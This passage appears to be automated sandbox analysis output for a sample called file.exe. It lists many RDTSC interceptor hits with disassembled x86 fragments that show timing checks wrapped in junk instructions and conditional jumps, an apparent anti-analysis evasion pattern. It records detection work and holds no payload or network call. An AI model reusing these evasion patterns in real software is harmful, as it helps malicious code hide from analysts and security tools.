Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD8A3 second address: CDD8C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2F50F30768h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDB8E second address: CDDB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDB92 second address: CDDB96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE18DE second address: CE18E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE18E4 second address: CE18E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE18E8 second address: CE1917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A343h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F2F50B4A33Eh 0x00000011 jg 00007F2F50B4A342h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1917 second address: CE191D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE191D second address: CE192A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE192A second address: CE192E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE192E second address: CE1932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1932 second address: CE1951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2F50F30769h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1951 second address: CE1957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1957 second address: CE195B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC7DC second address: CAC7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC7E0 second address: CAC7E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACD6A second address: CACD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACE1D second address: CACE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACE21 second address: CACE27 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACE27 second address: CACE31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2F50F30756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEAE second address: CACEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEB2 second address: CACEB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEB8 second address: CACEDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a mov edi, dword ptr [ebp+1247BBDCh] 0x00000010 mov ecx, edx 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jnp 00007F2F50B4A336h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEDE second address: CACEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD159 second address: CAD17A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A340h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jnc 00007F2F50B4A336h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD9CB second address: CAD9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F2F50F30756h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD9D8 second address: CADA45 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F2F50B4A338h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dh, DBh 0x00000028 lea eax, dword ptr [ebp+12490581h] 0x0000002e and edx, 1AD76AE7h 0x00000034 nop 0x00000035 jnc 00007F2F50B4A33Ah 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007F2F50B4A33Bh 0x00000044 jmp 00007F2F50B4A343h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADA45 second address: C87C43 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F2F50F30756h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2449h], ebx 0x00000013 call dword ptr [ebp+122D1C0Fh] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F2F50F30756h 0x00000022 js 00007F2F50F30756h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87C43 second address: C87C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1DA3 second address: CE1DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1DA9 second address: CE1DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F2F50B4A336h 0x0000000c popad 0x0000000d push esi 0x0000000e jp 00007F2F50B4A336h 0x00000014 jmp 00007F2F50B4A349h 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1DDB second address: CE1DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F30766h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2463 second address: CE246D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2F50B4A336h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE25E3 second address: CE25E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE25E7 second address: CE25EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE25EB second address: CE25F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE25F7 second address: CE2624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A345h 0x00000007 jmp 00007F2F50B4A341h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F1D3 second address: C5F1E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F2F50F30756h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F1E3 second address: C5F1EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F2F50B4A336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7721 second address: CE7727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7727 second address: CE772F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78AC second address: CE78DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2F50F30760h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F2F50F3075Ch 0x00000012 jl 00007F2F50F30756h 0x00000018 pop eax 0x00000019 jne 00007F2F50F30762h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78DF second address: CE78E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7A35 second address: CE7A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7A43 second address: CE7A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2F50B4A336h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7F89 second address: CE7F8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7F8F second address: CE7F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8138 second address: CE813E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE813E second address: CE8143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8143 second address: CE814B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE814B second address: CE8157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE86C2 second address: CE86D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F3075Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE86D7 second address: CE86E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE86E2 second address: CE86F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2F50F3075Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE86F3 second address: CE86F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8B6F second address: CE8B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8B75 second address: CE8B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB463 second address: CEB47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F2F50F30760h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5346A second address: C53470 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53470 second address: C5347A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5347A second address: C53483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C53483 second address: C5349C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F30763h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CECAF2 second address: CECB16 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2F50B4A336h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F2F50B4A33Ch 0x00000014 jp 00007F2F50B4A336h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0238 second address: CF023C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF023C second address: CF025E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2F50B4A336h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F2F50B4A340h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF025E second address: CF0262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2D9D second address: CF2DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2F50B4A336h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F2F50B4A336h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2DB1 second address: CF2DB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2DB7 second address: CF2DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2F2C second address: CF2F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2F50F30768h 0x00000008 je 00007F2F50F30756h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF56F2 second address: CF572A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F2F50B4A348h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F2F50B4A344h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF572A second address: CF572E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF572E second address: CF5741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2F50B4A33Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF5741 second address: CF575F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30763h 0x00000007 pushad 0x00000008 jl 00007F2F50F30756h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC2F0 second address: CFC2F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC2F6 second address: CFC2FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC2FC second address: CFC315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A345h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC5EC second address: CFC625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F30765h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jmp 00007F2F50F3075Eh 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD453 second address: CAD45D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2F50B4A336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFCA83 second address: CFCAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F30762h 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007F2F50F30756h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 jg 00007F2F50F30756h 0x0000001d pop eax 0x0000001e jmp 00007F2F50F3075Eh 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 push esi 0x00000028 pop esi 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD56E second address: CFD572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD572 second address: CFD582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D011EC second address: D011F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D011F1 second address: D01208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Ch 0x00000007 pushad 0x00000008 jne 00007F2F50F30756h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01208 second address: D0120E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01387 second address: D0138B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0138B second address: D01394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01394 second address: D0139A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D014F1 second address: D014F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0178D second address: D01791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01791 second address: D017AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2F50B4A346h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A01C second address: C5A02C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2F50F30756h 0x00000008 jc 00007F2F50F30756h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A02C second address: C5A035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A035 second address: C5A03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5A03F second address: C5A047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0472A second address: D04730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D048A3 second address: D048A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04CD0 second address: D04CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04CD4 second address: D04CDA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D04CDA second address: D04CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C643A5 second address: C643AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2F50B4A336h 0x0000000a rdtsc
